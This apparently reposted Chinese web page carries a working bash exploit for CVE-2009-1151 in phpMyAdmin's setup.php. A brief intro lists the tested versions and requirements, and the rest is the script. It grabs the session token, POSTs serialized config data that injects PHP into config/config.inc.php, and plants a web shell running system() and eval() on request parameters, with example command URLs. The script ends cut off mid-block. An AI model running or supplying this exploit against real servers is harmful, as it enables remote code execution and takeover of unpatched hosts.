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| 关键词： phpMyAdmin 22 config echo php nbsp 27 token bs 2.11 |
此漏洞代码在以下环境测试通过： phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 及 3.0.1.1版本； Linux内核版本 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)； 攻击环境要求： phpMyAdmin版本：早于2.11.9.5的2.11.x和早于3.1.3.1的3.x； 此漏洞只针对采用向导模式安装的phpMyAdmin有效，而对采用手动安装的无效； 管理员必须未删除"/phpMyAdmin/"目录下的"/config/"子目录，因为"/scripts/setup.php"尝试创建的下面PHP代码注入的"config.inc.php"文件正是在这个子目录下。 程序代码 #!/bin/bash # CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11 # by pagvac (gnucitizen.org), 4th June 2009. # special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, # and to str0ke (milw0rm.com) for testing this PoC script and providing feedback! # PoC script successfully tested on the following targets: # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1 # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2) # attack requirements: # 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5 # and 3.x before 3.1.3.1 according to PMASA-2009-3 # 2) it *seems* this vuln can only be exploited against environments # where the administrator has chosen to install phpMyAdmin following # the *wizard* method, rather than manual method: http://snipurl.com/jhjxx # 3) administrator must have NOT deleted the '/config/' directory # within the '/phpMyAdmin/' directory. this is because this directory is # where '/scripts/setup.php' tries to create 'config.inc.php' which is where # our evil PHP code is injected 8) # more info on: # http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php # http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/ if [[ $# -ne 1 ]] then echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>" echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/" exit fi if ! which curl >/dev/null then echo "sorry but you need curl for this script to work!" echo "on Debian/Ubuntu: sudo apt-get install curl" exit fi function exploit { postdata="token=$1&action=save&configuration="\ "a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\ "%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\ "%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\ "%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\ "%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix" postdata2="token=$1&action=save&configuration=a:1:"\ "{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\ "%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\ "system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\ "if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\ "(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\ "%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\ "mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\ "%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\ "%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix" flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html" echo "[+] attempting to inject phpinfo() ..." curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null then curl -ks --url "$3/config/config.inc.php" >$flag echo "[+] success! phpinfo() injected successfully! output saved on $flag" curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:" echo " $3/config/config.inc.php?c=ls+-l+/" echo " $3/config/config.inc.php?p=phpinfo();" echo " please send any feedback/improvements for this script to"\ "unknown.pentester<AT_sign__here>gmail.com" else echo "[+] no luck injecting to $3/config/config.inc.php :(" exit fi } # end of exploit function cookiejar="/tmp/$(basename $0).$RANDOM.txt" token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12` echo "[+] checking if phpMyAdmin exists on URL provided ..." #if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null if grep phpMyAdmin $cookiejar &>/dev/null then length=`echo -n $token | wc -c` # valid form token obtained? if [[ $length -eq 32 ]] then echo "[+] phpMyAdmin cookie and form token received successfully. Good!" # attempt exploit! exploit $token $cookiejar $1 else echo "[+] could not grab form token. you might want to try exploiting the vuln manually :(" exit fi else echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?" exit |
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